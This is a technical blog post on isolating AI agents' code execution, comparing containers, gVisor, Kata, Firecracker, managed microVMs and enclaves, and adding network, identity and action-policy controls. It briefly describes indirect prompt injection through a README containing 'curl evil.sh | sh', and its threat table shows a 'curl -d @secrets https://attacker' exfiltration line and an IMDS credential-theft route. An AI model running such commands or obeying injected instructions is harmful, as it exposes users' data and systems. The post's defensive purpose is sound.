Sandboxing AI Agents: From Shared Kernels to MicroVMs, and How to Choose
An agent that can write and run code is a program that writes programs nobody reviewed. This post covers why that code needs a sandbox, what a sandbox has to do, the main isolation technologies and how they work, and how to pick one from your functional and non-functional requirements.
1. Why agents need sandboxes
A chatbot returns text. An agent acts: it runs
pip install , writes a script, executes it, reads the output and tries again. The code that runs was written at runtime by a model, and the model's input can include:- The user's prompt, which may be hostile.
- Retrieved content (web pages, emails, PDFs, repo files). This is where indirect prompt injection lives. A README that says "run
curl evil.sh | sh" is an instruction the agent may follow.
- Tool output from earlier steps, which may itself be attacker-controlled.
So code produced by a model has to be treated like code uploaded by an anonymous stranger. It's often harmless and occasionally destructive, and you can't tell which ahead of time. Reviewing it by hand doesn't scale to thousands of tool calls an hour. The only control that scales is containment: let the code do anything it wants inside a box where "anything" can't hurt you.
The same goes for code an agent writes by mistake. A hallucinated
rm -rf $DIR/ with an empty $DIR doesn't need an attacker to do damage.
2. Integration: separating brain and hands

Before choosing any technology, separate the two halves of an agent. The most useful architectural decision is to keep the model and agent loop (brain) apart from the code execution (hands):
- The brain holds credentials, conversation state and policy. The hands hold none of them.
- The hands are reached through a narrow tool interface: an MCP server exposing
exec,read_file,write_file,browser_*, or JSON-RPC over WebSockets.
- The brain can be any vendor or framework. The hands stay in your account, next to your data. This is the pattern Lambda MicroVMs is designed around.
# Brain side: a single tool that proxies to a sandbox sessionfrom mcp.server.fastmcp import FastMCPimport sandbox_client # your client for gVisor/Kata pods, Lambda MicroVMs, or a service SDK
mcp = FastMCP("sandbox")
@mcp.tool()def run(session_id: str, command: str, timeout_s: int = 60) -> dict: """Run a shell command in the caller's isolated sandbox.""" sb = sandbox_client.get_or_create(session_id, template="python-3.12", egress="allowlist:pypi") r = sb.exec(command, timeout=timeout_s) return {"exit_code": r.exit_code, "stdout": r.stdout[-20_000:], "stderr": r.stderr[-5_000:]}
if __name__ == "__main__": mcp.run()Truncate output before it goes back to the model. Tool output is untrusted input to the next model call.
The rest of this post is about the hands: what threatens them, what they must support, and which technology runs them.
3. Threat model

Threat | How it happens | What stops it |
|---|---|---|
Kernel escape | A syscall reaches a bug in the shared host kernel (Dirty Pipe CVE-2022-0847, Dirty COW CVE-2016-5195, CVE-2022-0185, CVE-2022-0492) | An isolation runtime with its own kernel or a user-space kernel |
Credential theft | Reading the instance metadata service (IMDS) at 169.254.169.254 , a mounted Kubernetes service-account token, or environment variables | No IMDS access, no token mount, scoped short-lived credentials |
Data exfiltration | curl -d @secrets https://attacker or DNS tunnelling | Default-deny egress, an allowlisting proxy, DNS control |
Resource abuse | Crypto-mining, fork bombs, filling the disk | cgroups, PID limits, disk quotas, wall-clock timeouts |
Lateral movement | Calling the cluster API, other pods, internal services | Network policy, no service-account token, a separate VPC/subnet |
Cross-session leakage | Files, processes or caches from session A visible to session B | One sandbox per session, destroyed afterwards |
Legitimate-looking misuse | Using allowed access for the wrong thing: reading .env in the repo, deleting failing tests, POSTing a refund before the eligibility check, sending repo content to a reachable host | Semantic action policy (section 7.1); isolation does not see intent |
Side channels | Spectre-class leaks across co-located tenants | Dedicated hosts or enclaves for the highest-sensitivity work |
The key point is that only the first row is about the isolation runtime. The other seven are handled by network, identity and resource controls, and these get skipped most often (section 7).
4. What a sandbox must support
Execution
- Run arbitrary commands and long-running processes, with streamed stdout/stderr and exit codes.
- Multiple languages and runtimes; install packages at runtime (
pip,npm,apt).
- Optional extras: a headless browser, a GUI/desktop for computer use, a GPU.
Filesystem
- A writable workspace; upload and download files; mount a repo.
- Persist the workspace across turns, and optionally across days.
Network
- No network by default, with an explicit allowlist (package registries, specific APIs).
- Inbound ports for preview servers (a "run my web app" pattern).
Lifecycle
- Create, exec, pause, resume, snapshot, fork, destroy.
- Fast handout (ideally under a second) and hard timeouts.
Security and governance
- One sandbox per session/tenant, credentials scoped to the session, and a full audit trail.
Integration
- An API or SDK the agent framework can call: MCP tools, JSON-RPC, or a REST/WebSocket API.
5. The ideal sandbox

If there were no constraints, a sandbox would:
- Have a hardware or user-space boundary below the code, so a kernel bug inside the sandbox never becomes a host bug.
- Start in under 100 ms from a warm pool, so the agent loop never waits.
- Be fully Linux-compatible, so any binary, package manager or browser works.
- Use default-deny networking with a proxy that allowlists by domain and logs every request.
- Carry no ambient credentials. Anything it needs is injected per session with a short TTL, ideally through a broker so secrets never touch the sandbox's disk.
- Support snapshot/restore, so an idle session costs storage rather than compute, and a session can be forked to try alternatives in parallel.
- Give per-session cost and audit data: every command, file write and network connection, linked to the user and agent run.
- Be destroyed completely afterwards, with no shared caches or reused kernels.
No single technology gets all eight for free. The options below trade isolation strength, startup time, compatibility, density and how much you operate yourself.
6. Sandbox options
6.0 Background: what a syscall is and why it matters
A program can't touch disk, network or memory directly. It asks the kernel through a system call (
open , write , socket , mmap , clone , ioctl ...). Linux has roughly 350 of them, and each one runs privileged kernel code. Python's print("hi") becomes a write ; requests.get() becomes socket → connect → write → read .Each sandbox option is defined by where these syscalls end up:
Syscall area | Example calls | Real escape | Plain container | gVisor | MicroVM |
|---|---|---|---|---|---|
Files / pipes | pipe splice write | Dirty Pipe CVE-2022-0847 | Host kernel | Sentry | Guest kernel |
Memory | mmap madvise | Dirty COW CVE-2016-5195 | Host kernel | Sentry | Guest kernel |
Namespaces / mounts | unshare fsconfig | CVE-2022-0185 | Host kernel | Sentry | Guest kernel |
Cgroups | release_agent write | CVE-2022-0492 | Host kernel | Not reachable | Guest kernel |
Networking | setsockopt | CVE-2021-22555 | Host kernel | netstack | Guest kernel |
eBPF | bpf | CVE-2021-3490 | Host kernel | Not supported | Guest kernel |
io_uring | io_uring_enter | CVE-2022-29582 | Host kernel | Not supported | Guest kernel |
Keyring | keyctl | CVE-2016-0728 | Host kernel | Not supported | Guest kernel |
"Host kernel" means the buggy host code runs, and that's where a breakout starts. "Guest kernel" means the bug fires, but inside a VM with nothing else on it.
6.1 Plain container (runc)

What it is. A Linux process with namespaces (its own view of PIDs, mounts and network) and cgroups (limits on CPU and memory). This is the default for every Kubernetes pod.
How it works. The agent's syscalls go straight to the host kernel, which every other pod on the node also uses. Namespaces only change what the process sees. They don't shrink the kernel code it can reach.
Hardening. Seccomp (
RuntimeDefault or a custom allowlist), dropping all Linux capabilities, runAsNonRoot , a read-only root filesystem, allowPrivilegeEscalation: false . Rootless containers or user-namespace remapping add more.apiVersion: v1kind: Podmetadata: { name: trusted-tool }spec: automountServiceAccountToken: false securityContext: runAsNonRoot: true seccompProfile: { type: RuntimeDefault } containers: - name: tool image: python:3.12-slim securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] }When to use. Only for code you wrote and trust, such as deterministic tools behind your agent. Not a boundary for code the model generated.
6.2 gVisor

What it is. An application kernel written in Go (the Sentry) that implements the Linux syscall interface in user space. It ships as an OCI runtime,
runsc .How it works. gVisor intercepts every syscall the container makes. The systrap platform does this with seccomp traps; the KVM platform uses hardware virtualization when it's available. The Sentry handles the call with its own code: its own pipes, memory management and network stack (netstack). It reaches the host only through a small, seccomp-filtered set of host syscalls. File access goes through a gofer process or the faster directfs mode. The result is that the host's buggy pipe, mmap or netfilter code never runs on the agent's behalf.
Trade-offs.
- No VM is needed, so it runs on ordinary EC2 instances (no
.metalrequired) and packs densely.
- I/O-heavy and syscall-heavy workloads (building big repos, many small files) slow down noticeably.
- Some syscalls and features (
io_uring,bpf, certainioctls) aren't supported, so a few binaries fail.
- The host kernel is still shared. The boundary is software, not hardware.
apiVersion: node.k8s.io/v1kind: RuntimeClassmetadata: { name: gvisor }handler: runsc---apiVersion: v1kind: Podmetadata: { name: agent-sandbox }spec: runtimeClassName: gvisor automountServiceAccountToken: false containers: - name: sandbox image: public.ecr.aws/docker/library/python:3.12 command: ["sleep", "infinity"] resources: { limits: { cpu: "1", memory: 1Gi } }Verify it's active:
kubectl exec agent-sandbox -- dmesg prints gVisor's own boot messages, not the host's.When to use. High-volume code execution where cost and density matter, workloads are mostly CPU-bound Python or JS, and you already run Kubernetes on standard instances.
6.3 Kata Containers

What it is. An OCI runtime that starts each pod inside a lightweight VM with its own guest kernel, while Kubernetes still treats it as a normal pod.
How it works. The
containerd-shim-kata-v2 starts a VM using a pluggable VMM (QEMU, Cloud Hypervisor or Firecracker). A kata-agent inside the guest creates the containers. Syscalls land in the guest kernel. To reach the host, an attacker has to break the guest kernel and then the hypervisor (KVM plus the VMM's virtio devices). That's a much smaller, hardware-enforced surface.Trade-offs.
- Full Linux compatibility: anything that runs in a VM works.
- About 150–500 ms extra startup and tens to hundreds of MB extra memory per pod.
- Needs nodes that can run VMs: bare-metal instances (e.g.
*.metal), or nested virtualization where it's supported.
- More moving parts to run (guest kernel images, VMM upgrades).
apiVersion: node.k8s.io/v1kind: RuntimeClassmetadata: { name: kata }handler: kataoverhead: podFixed: { memory: "160Mi", cpu: "250m" }scheduling: nodeSelector: { sandbox.io/kata: "true" } # .metal node group---apiVersion: v1kind: Podmetadata: { name: agent-sandbox-vm }spec: runtimeClassName: kata automountServiceAccountToken: false containers: - name: sandbox image: public.ecr.aws/docker/library/python:3.12 command: ["sleep", "infinity"]Verify it's active:
kubectl exec agent-sandbox-vm -- uname -r shows the guest kernel version, which differs from the node's.When to use. Untrusted, arbitrary code that needs full Linux (compilers, browsers, system packages) on infrastructure you operate, and multi-tenant platforms on Kubernetes.
6.4 Firecracker

What it is. A minimal VMM written in Rust, originally built by AWS for Lambda and Fargate. It exposes only a handful of virtio devices (net, block, vsock, serial, a minimal keyboard).
How it works. Each microVM is a KVM guest with its own kernel. The VMM process is wrapped by a jailer (chroot, cgroups, namespaces, seccomp), so even a VMM compromise lands in a locked-down process. Its tiny device model is what allows boot times around 125 ms and very low memory overhead. That in turn allows thousands of microVMs per host and fast snapshot/restore.
Trade-offs.
- Strong isolation with high density, and snapshots are a first-class feature.
- It's a building block, not a platform. You build the scheduling, networking, image pipeline and pools yourself, or use it through Kata, or through a managed service.
- No GPU passthrough or device hotplug in the core design.
# Minimal: boot a microVM via the API socketfirecracker --api-sock /tmp/fc.sock &curl --unix-socket /tmp/fc.sock -X PUT http://localhost/boot-source \ -d '{"kernel_image_path":"vmlinux","boot_args":"console=ttyS0 reboot=k panic=1"}'curl --unix-socket /tmp/fc.sock -X PUT http://localhost/drives/rootfs \ -d '{"drive_id":"rootfs","path_on_host":"rootfs.ext4","is_root_device":true,"is_read_only":false}'curl --unix-socket /tmp/fc.sock -X PUT http://localhost/machine-config \ -d '{"vcpu_count":1,"mem_size_mib":512}'curl --unix-socket /tmp/fc.sock -X PUT http://localhost/actions \ -d '{"action_type":"InstanceStart"}'When to use. Very large numbers of short-lived sessions where you want VM isolation at container-like density, and you have the platform team to build around it (or you use one of the managed options below).
6.5 Lambda MicroVMs (managed sandbox)

What it is. AWS Lambda MicroVMs provide an isolated, short-lived Firecracker-based compute environment in which agents write, build, test and run code ( AWS Compute Blog ).
How it works. The agent harness and model can run anywhere: your own, or a vendor-hosted one. When it needs to act, it sends tool calls to a MicroVM in your AWS account, so files, packages, tool execution and network access stay in infrastructure you control. AWS documents integrations where the OpenAI Agents API, Claude Managed Agents and Cursor Cloud Agents use Lambda MicroVMs as the self-hosted execution environment ( OpenAI Agents API , Cursor ). A builder example shows per-session Firecracker microVMs driven over JSON-RPC 2.0 on WebSockets for inline tool calling ( AWS Builder Center ).
Trade-offs.
- Firecracker isolation without operating
.metalfleets, VMMs or pools.
- Less control over kernel, runtime and scheduling than doing it yourself.
- Quotas, session duration, pricing and networking options are set by the service. Check the current documentation.
When to use. You want the "hands" in your own account, close to your VPC and data, while the "brain" is whatever agent framework or vendor you choose. You'd rather not build Firecracker infrastructure.
6.6 Bedrock AgentCore Runtime (managed agent host)

What it is. A managed runtime that hosts the entire agent, the loop included, with each user session in its own microVM. Companion services cover identity, a tool gateway, memory, a code interpreter, a browser and observability.
How it works. You package your agent (any framework) as a container and invoke it with a session ID. Each session gets an isolated microVM that's torn down when the session ends, so state never crosses sessions.
When to use. You want to deploy agents, not just sandboxes, and you'd like isolation, identity and observability handled for you.
Lambda MicroVMs vs AgentCore Runtime: the first gives you a sandbox to plug into any agent. The second gives you a place to run the agent itself. They can be combined.
6.8 Nitro Enclaves (and dedicated hosts)

What it is. An isolated environment carved out of an EC2 instance, with dedicated vCPUs and memory, no network, no persistent storage and no interactive access, even for root on the parent. Its only channel is a vsock to the parent instance. Cryptographic attestation (PCR measurements) proves exactly which image is running, and AWS KMS can release keys only to enclaves that match.
When to use. Processing secrets, private keys, PII or regulated data where you must prove the code that touched it. It's a poor fit for general tool use because it has no network. For the strongest separation from other tenants, including side channels, use dedicated instances or hosts.
6.9 Others worth knowing
Option | What it is | Note |
|---|---|---|
Cloud Hypervisor | Rust VMM, a Kata backend | More device support than Firecracker |
Unikraft / unikernels | App + minimal kernel in one VM image | Very fast; apps must be rebuilt |
Gramine | Library OS, often with Intel SGX | Confidential computing |
Sysbox | Hardened runc for system containers | Lets Docker/systemd run inside safely; still a shared kernel |
nsjail / bubblewrap | Single-process jails | CI-style, single commands |
Strands Box | OS sandbox + Dogwood action policy | Policy layer, not an isolation runtime; see section 7.1 |
Kubernetes Agent Sandbox (kubernetes-sigs) | A Sandbox CRD with warm pools and pause/resume | Lifecycle layer over gVisor or Kata |
Third-party services | E2B (Firecracker), Modal (gVisor), Daytona and others | Managed APIs with SDKs |
6.10 Side-by-side
Figures are approximate and vary by configuration and version. Benchmark your own workload.
| Plain | gVisor | Kata | Firecracker | Lambda MicroVMs | AgentCore Runtime | Wasm | Nitro Enclave |
|---|---|---|---|---|---|---|---|---|
Boundary | Namespaces | User-space kernel | Guest kernel + VMM | Guest kernel + minimal VMM | Firecracker (managed) | MicroVM per session (managed) | Language runtime | Hardware partition |
Isolation | Low | Med-high | High | High | High | High | Med-high (capability) | Highest |
Startup | ms | ~50–150 ms | ~150–500 ms | ~125 ms boot | Service-defined | Service-defined | ~1 ms | Seconds |
Linux compatibility | Full | Most | Full | Full | Full | Full | Wasm only | Full, no I/O |
Density | Highest | High | Medium | High | N/A (managed) | N/A (managed) | Highest | Low |
You operate | Cluster | Cluster + runtime | Cluster + .metal + VMM | Everything | Your code + network | Your agent | Runtime | Instance + enclave image |
Best for | Trusted tools | Cheap untrusted code | Full Linux on K8s | Massive short sessions | Hands in your account | Hosted agents | Fixed tools | Secrets, attestation |
7. Defense in depth: isolation contains exploits, policy governs intent

A microVM with open internet egress and the node's IAM role is still a data-exfiltration tool. Every option above needs these rings around it, and one ring inside it.
7.1 Semantic action policy: what the agent should do, not just what it can reach

Isolation answers what can this code break? It cannot answer should the agent do this?
rm -rf ./build and rm -rf ./src are the same syscalls to a microVM; cat README.md and cat .env are both permitted reads inside a repo the agent was given. A policy layer checks each action (shell command, file operation, HTTP request, MCP tool call) and its arguments before it runs.Strands Box (open source, Rust, developer preview) is one implementation. It is harness-agnostic: it wraps Claude Code, Codex CLI, Kiro CLI, Strands CLI, or a custom Strands/LangChain agent ( GitHub , Linux launch ).
How it works:
- Two files.
box.tomlsets the agent process's direct OS grants (interpreter, libraries, a writable workspace).policy.dwholds Dogwood rules for everything routed through Box.
- Trusted process outside the sandbox. Box's own shell (Strands Shell), Python interpreter (Monty), egress gateway and MCP broker run outside the agent's sandbox and ask the embedded Dogwood engine before each operation. The agent cannot tamper with the decision.
- Default deny. An operation is allowed only if a
permitmatches; any matchingforbidoverrides it.
- Temporal rules. One shared event history across shell, Python, network and MCP means rules can depend on earlier actions and elapsed time, e.g. block a refund POST unless an eligibility GET for the same order returned 200 in the last 300 s, or deny outbound HTTP after a sensitive file was read.
- Credential injection. The agent holds a placeholder; the gateway swaps in the real token or SigV4 signature only on permitted requests. Secrets never enter the sandbox.
- Decision records. Every allow/deny is logged as OTLP JSON for audit.
- OS enforcement. On Linux (ARM64 preview; x86-64 opt-in): user, mount, PID and network namespaces plus a syscall permit filter. On macOS: Apple silicon.
@id("no_env")@description("The .env file holds credentials the agent must not read.")forbid (principal, action == Box::Action::"fs:read", resource)when { context.input.path like "/work/*/project/.env" };[agent.filesystem]read = ["/app/sdk/vendor", "/usr/local/lib/python3.12"]write = ["/app/workspace"]
[egress.model]destinations = ["bedrock-runtime.us-west-2.amazonaws.com"]secret.ref = "env://AWS_BEARER_TOKEN_BEDROCK" # agent sees a placeholderDeveloper gotcha: direct grants in
box.toml are enforced by the OS and produce no policy decisions. Keep files you want policy on (e.g. the project) out of direct grants so every access goes through Strands Shell or Monty.Is it equivalent to gVisor? No. gVisor and microVMs contain exploits; Box shares the kernel of whatever it runs on and decides intent. They stack: Box inside the microVM.
Where it runs:
Environment | Isolation boundary | Policy |
|---|---|---|
Developer laptop (local coding agent) | Box's OS sandbox only | Box |
EKS pod | gVisor / Kata | Box inside the pod |
AgentCore Runtime | Per-session microVM | Box inside the microVM |
Lambda MicroVMs | Firecracker | Box per task; one builder run measured ~83 ms per box on a 1 GB VM ( AWS Builder Center ) |
Running Box inside a container or microVM needs user namespaces and a fresh
/proc mount; default Docker seccomp blocks this, and Lambda MicroVM images need additionalOsCapabilities: ALL for the operator process (same builder post).Related approaches: coding-agent CLIs ship their own OS sandboxes with simpler allow-lists or approval modes (e.g. Claude Code's sandbox runtime, Codex CLI); AgentCore Policy applies Cedar rules to tool calls at the gateway, without OS isolation. Check each against current docs.
7.2 Infrastructure rings
Network: default deny, allowlist through a proxy
apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata: { name: sandbox-egress, namespace: sandboxes }spec: podSelector: {} policyTypes: ["Ingress", "Egress"] egress: - to: - podSelector: { matchLabels: { app: egress-proxy } } # allowlisting proxy (e.g. pypi.org, api.github.com) ports: [{ port: 3128, protocol: TCP }] - to: - namespaceSelector: {} podSelector: { matchLabels: { k8s-app: kube-dns } } ports: [{ port: 53, protocol: UDP }]- Allowlist by domain at the proxy and log every request. Watch for DNS tunnelling.
- In VPC terms: private subnets, no direct internet gateway route, and VPC endpoints for AWS services.
Identity: no ambient credentials
- Set the IMDSv2 hop limit to 1 on nodes so pods can't reach the node's instance role.
-
automountServiceAccountToken: falseon every sandbox pod.
- If the sandbox must call AWS, use EKS Pod Identity or a per-session role with session policies and short TTLs. Better still, have the brain call privileged APIs on the sandbox's behalf.
Syscalls and filesystem
- Seccomp
RuntimeDefaultat minimum. Also blockunshare,mount,bpf,keyctl,io_uring_*andptraceunless they're needed.
- Read-only root filesystem,
tmpfsoremptyDirworkspace with a size limit, nohostPath. Enforce with Pod Security Admissionrestricted.
Quotas
- CPU/memory limits,
pids.max, ephemeral-storage limits, and anactiveDeadlineSecondsor a hard session TTL.
8. Lifecycle and state

To an agent, a sandbox is a session, not a request. Three lifecycle features matter as much as isolation strength:
- Warm pools. Pre-booted sandboxes that get handed out on demand hide the cold path (image pull plus boot). Size pools by p95 concurrency, and recycle a sandbox after a single use. Never return a used sandbox to the pool.
- Pause / snapshot / resume. Agents think, wait for humans and sit idle. Snapshotting memory and the filesystem (native to Firecracker; also offered by managed services and the Kubernetes Agent Sandbox project) turns idle compute cost into storage cost, and makes multi-day sessions practical.
- Fork. Restoring the same snapshot several times lets an agent try alternative fixes in parallel and keep the winner.
What should persist: the workspace (code, outputs) and possibly installed packages. What must not persist: credentials, processes,
/tmp and network state. Save the workspace to object storage, keyed by session, and encrypt it.
9. Observability and cost
Audit (what did the agent do?)
- Every command, with arguments, exit code, duration and the session/user/agent-run ID.
- File writes in the workspace, and every egress connection (from the proxy logs).
- Optional syscall-level telemetry (Falco, Tetragon/eBPF on the host; gVisor can emit its own syscall trace points).
- Tie everything to an OpenTelemetry trace that spans brain → tool call → sandbox.
Cost (what does a session cost?)
A useful model:
cost/session ≈ (active_seconds × compute_rate) + (idle_seconds × idle_rate) # ~0 if paused/snapshotted + (pool_overhead / sessions) # warm capacity you pay for anyway + storage + egress- gVisor gives the best density on standard instances, but I/O overhead makes active time longer.
- Kata / Firecracker yourself means
.metalinstances, and wasted capacity when pools are over-provisioned.
- Managed (Lambda MicroVMs, AgentCore) means pay per use with no pool overhead. Compare at your real concurrency profile.
- Tag each sandbox with the session ID so you can trace cost back to individual users, agents and tasks.
10. Requirements and how to select
10.1 Functional requirements
Requirement | Question to ask | Rules out |
|---|---|---|
Arbitrary binaries / apt | Does the agent install system packages or run compilers? | Wasm |
Browser / desktop | Headless Chrome, computer use? | Wasm, Enclaves |
GPU | Does code need CUDA? | Firecracker, Lambda MicroVMs (check docs), Wasm |
Network access | Must it reach the internet or your VPC? | Enclaves |
Persistent workspace | Do sessions last hours or days? | Anything without snapshot or persistence |
Docker-in-sandbox | Does the agent build containers? | Plain/gVisor (limited); prefer VMs or Sysbox |
10.2 Non-functional requirements
Requirement | Signal | Leans toward |
|---|---|---|
Isolation strength | Multi-tenant, hostile input, regulated data | Kata, Firecracker, managed microVMs, Enclaves |
Startup latency | Interactive loops, many tool calls per turn | Warm pools; Wasm; gVisor |
Density / cost | Thousands of concurrent sessions | gVisor, Firecracker, Wasm, managed per-use |
Operational burden | Small platform team | Lambda MicroVMs, AgentCore, third-party services |
Data residency / control | Data can't leave your account | Self-hosted on EKS, Lambda MicroVMs |
Attestation | Must prove what code touched the data | Nitro Enclaves |
Action-level control | Rules on which commands, paths, hosts, tools; sequence checks | A policy layer (e.g. Strands Box) on top of any runtime |
Secrets out of the sandbox | Agent must call APIs without holding keys | Credential-injecting egress gateway (e.g. Box) |
Compatibility | Long tail of tools and binaries | MicroVMs over gVisor |
10.3 Decision tree

- Is the code untrusted? If not, use a plain container with seccomp. If it is, keep going.
- Does it need full Linux? If not, and the tools are fixed, use Wasm.
- Do you want to run the infrastructure yourself? If you're on Kubernetes, use gVisor for density or Kata (optionally on Firecracker) for the strongest boundary.
- If not: use Lambda MicroVMs when you need a sandbox for any agent, or AgentCore Runtime when you want the whole agent hosted.
- Then decide the action policy. Whatever runtime you chose, write default-deny rules for shell, files, egress and MCP (e.g. Strands Box/Dogwood), and inject credentials rather than mounting them.
- Secrets or attestation involved? Put that one step in a Nitro Enclave, whatever you chose above.
12. Summary
- Treat model-generated code as untrusted. Containment is the only control that scales.
- The isolation runtime decides where syscalls land: host kernel → user-space kernel → guest kernel → separate hardware.
- Isolation contains exploits; a policy layer (e.g. Strands Box) governs intent. Use both.
- Most real breaches come from the outer rings: egress, credentials, quotas. Configure them whatever runtime you choose.
- For agents, lifecycle (warm pools, snapshots) and the brain/hands split matter as much as isolation strength.
- Pick from functional fit first, then isolation, latency, cost and how much you want to operate.
Enjoyed reading this content? Let the author know!
Your likes, comments, shares, and saves help creators reach more builders.
Loading recommendations
Loading article